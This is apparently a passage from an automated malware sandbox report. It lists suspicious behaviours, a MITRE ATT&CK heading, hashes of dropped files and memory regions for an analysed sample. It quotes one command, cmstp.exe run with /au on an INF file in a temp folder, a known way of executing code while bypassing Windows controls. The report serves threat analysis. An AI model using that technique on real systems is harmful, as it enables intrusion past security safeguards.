    Process spawned unexpected child process
    Blocklisted process makes network request
    Drops file in System32 directory
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    PID:1448
    • \??\c:\windows\system32\cmstp.exe
      "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\2emtvo5b.inf
      PID:324
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Execution
          Exfiltration
            Impact
              Initial Access
                Lateral Movement
                  Privilege Escalation
                    Replay Monitor
                    00:00 00:00
                    Downloads
                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

                      MD5

                      1348df3f0cbba9504d09b65f2a8e2907

                      SHA1

                      54e8b9aff55e7759267404bc51634a4c41485124

                      SHA256

                      61e2fd85bd2471bf469f54e1f39aaa031aa9bc379feba3189ab551618736f732

                      SHA512

                      9868932adba4f793428af27fa03427dd984af6ea54f323ddbd765180ce676139f62a10384381a1764f0837be2860aa987181f5aabe3543870352fea82f935877

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                      MD5

                      7cabd6a5b31a9c3bc5e1b1b2adbc56c6

                      SHA1

                      b5c8577d9a3a852585240d89d4f7510b77294268

                      SHA256

                      fd5191ac63cf4ef151cf5e47ed59c65c04bcce331b373baadfcd105bf8a6fa7c

                      SHA512

                      82672c167348a7c88c523bf8476827464691c8f35189a343fff9be99a445a6f4dd5274ed1c107efe55b320d42c5304ed75125943551b4a2f37e543815757dc02

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9FF67FB3141440EED32363089565AE60_B50B9FE0B5E2C1038D20CE66215B4AA7

                      MD5

                      ba71815438afb6b64d29adac08beeaca

                      SHA1

                      7f3160293346cb8fb62ee66c62a3a8305b63ab08

                      SHA256

                      62bb1c0e743696751c63d6a80f68360f2b297877b49335b3605853dda73d0fb7

                      SHA512

                      137c2694980e555876297f76bc73d89b7b4888227e1d8d8e5c0ba909b0dd4e055e105ee988d1dd2af9c3b96f5b4d1d0fa0e540291028a2ec8045502369b70784

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

                      MD5

                      313658d97704a72c8e972a1cac881606

                      SHA1

                      597c78d178ed8c5d4122d1638381bec2f9e842aa

                      SHA256

                      d12a83595628ead073a401854255352d918fe344ad273a0612454bacb7e27aa6

                      SHA512

                      bd5d1a10f815574cae485316925ccc3d748f6a60ea7f9c2218303fe18d3cdbee9abc23264c3c43603cca48d96f93ba4017b6b030773fc41b5ef6f16e97856f1b

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                      MD5

                      699d124286bebd9a314aa3d70842b33d

                      SHA1

                      cf5126a94ed431867dd06b0f8596f17c18ecd593

                      SHA256

                      91a4de806dc36e48212fd3f481968b6d203817241c3f6163afa0042cfb69606a

                      SHA512

                      dd8bf53e0b7cc6f9515e3b86f1d0cb23dd7ee8ffd35719cafe496b07fbd9390382ab5c0469ffbbb8ac5282e3c79a6e4910eb0abad95ef905ce8f0c7d357fb89b

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9FF67FB3141440EED32363089565AE60_B50B9FE0B5E2C1038D20CE66215B4AA7

                      MD5

                      a3357980da81f07518b376c9f117133e

                      SHA1

                      274a52d16db80c813a796beabcd7b30fa9431a7d

                      SHA256

                      cc75b461b4ae1e50600e06fd64735567f1142e902ae0fa1efa648ab26c33a8af

                      SHA512

                      5f049e74a8d8dec559cb2b2c9912e254242edd7b604ef9227f98ae8ca9b7b7a44bb559fc3513305477847007df14b6be028cce3b5359b222c8cccac54782e86a

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                      MD5

                      2d62b1f4577e2af8b2119cacfa0d5b0a

                      SHA1

                      97be5bba7020c2c49c4262252223d7a1f58b6adc

                      SHA256

                      2f3b2236abdccdddd83b4f8b60a4760ad26bd94a5015be017a21d52bc4b30a69

                      SHA512

                      c6da4d8b9ac2beae8fa730625dba84b031afdd673616851a49a004def71d3294d4f94a02b07ff0a62c3325eac52cc6a01e7b19549ba177143a300363e7a3029d

                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\TG26G5MW.txt

                      MD5

                      76eb1a30cd4c26d349409d2c5a93e0d4

                      SHA1

                      e1d3bd863a92aead5f88e96f5fdc62c0387beeda

                      SHA256

                      b12a357038428e78b21ec2918339dddb6359949845a83c91209544249e8d62b5

                      SHA512

                      4eb2fd9d8fc5bbc8141fd6c74e8ca30db867932c96a8a5c7063717f94935384a7a40c389d19f6c5cdf811761cc15fd6497031f64634d3ca3c93f548e63e2c211

                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                      MD5

                      bb1542822f20ac5dc4f41c4d82fe3b6d

                      SHA1

                      febee277bbe18f8d3eb1a860ad687dff91615674

                      SHA256

                      0a0722ae403ea83d0f67c1618f1c61544d925eec360a10eb32b1ad7e90bee998

                      SHA512

                      5daa796bc83e36408ff08d7420dfe9dcc2d1096123a84cf2a5d5a1805586114e7fa0d642de59a2c284d02d13394d3bc938fb71ae5305a861375de12231b291c0

                    • C:\Windows\temp\2emtvo5b.inf

                      MD5

                      8635454e59df4d2b1a64b3812e4a9763

                      SHA1

                      98e8e9c448b540e6f97f8193e0c632ec55b801e8

                      SHA256

                      6c0b177e77a24f6504a9116d24c32484b3d0dfc47c301127e356bdbe081a6b78

                      SHA512

                      f906bb3e52d582e0597abea037f16f8e07772186b8d26a5fc7d64807bff638801c47a48134d8163ba0651a7f9022f4378cef02684e29e1aad6eb278019548a58

                    • memory/108-2-0x0000000000730000-0x0000000000731000-memory.dmp

                    • memory/108-0-0x0000000005850000-0x0000000005950000-memory.dmp

                    • memory/108-4-0x0000000004850000-0x0000000004854000-memory.dmp

                    • memory/268-1-0x0000000000000000-mapping.dmp

                    • memory/324-35-0x0000000000000000-mapping.dmp

                    • memory/700-5-0x000007FEF2130000-0x000007FEF23AA000-memory.dmp

                    • memory/1184-7-0x0000000000000000-mapping.dmp

                    • memory/1448-34-0x0000000002750000-0x0000000002757000-memory.dmp

                    • memory/1448-24-0x000000001AD80000-0x000000001AD81000-memory.dmp

                    • memory/1448-17-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

                    • memory/1492-58-0x000000001C5D0000-0x000000001C5D1000-memory.dmp

                    • memory/1492-26-0x0000000002710000-0x0000000002711000-memory.dmp

                    • memory/1492-28-0x0000000001F20000-0x0000000001F21000-memory.dmp

                    • memory/1492-30-0x000000001C230000-0x000000001C231000-memory.dmp

                    • memory/1492-31-0x000000001C4C0000-0x000000001C4C1000-memory.dmp

                    • memory/1492-18-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

                    • memory/1492-57-0x000000001C5C0000-0x000000001C5C1000-memory.dmp

                    • memory/1492-22-0x0000000002050000-0x0000000002051000-memory.dmp

                    • memory/1492-45-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

                    • memory/1492-40-0x000000001C590000-0x000000001C59D000-memory.dmp

                    • memory/1492-41-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                    • memory/1492-42-0x000000001B7A0000-0x000000001B7A1000-memory.dmp

                    • memory/1964-6-0x0000000000000000-mapping.dmp

                    • memory/1964-19-0x0000000006920000-0x0000000006943000-memory.dmp

                    • memory/2032-8-0x0000000000000000-mapping.dmp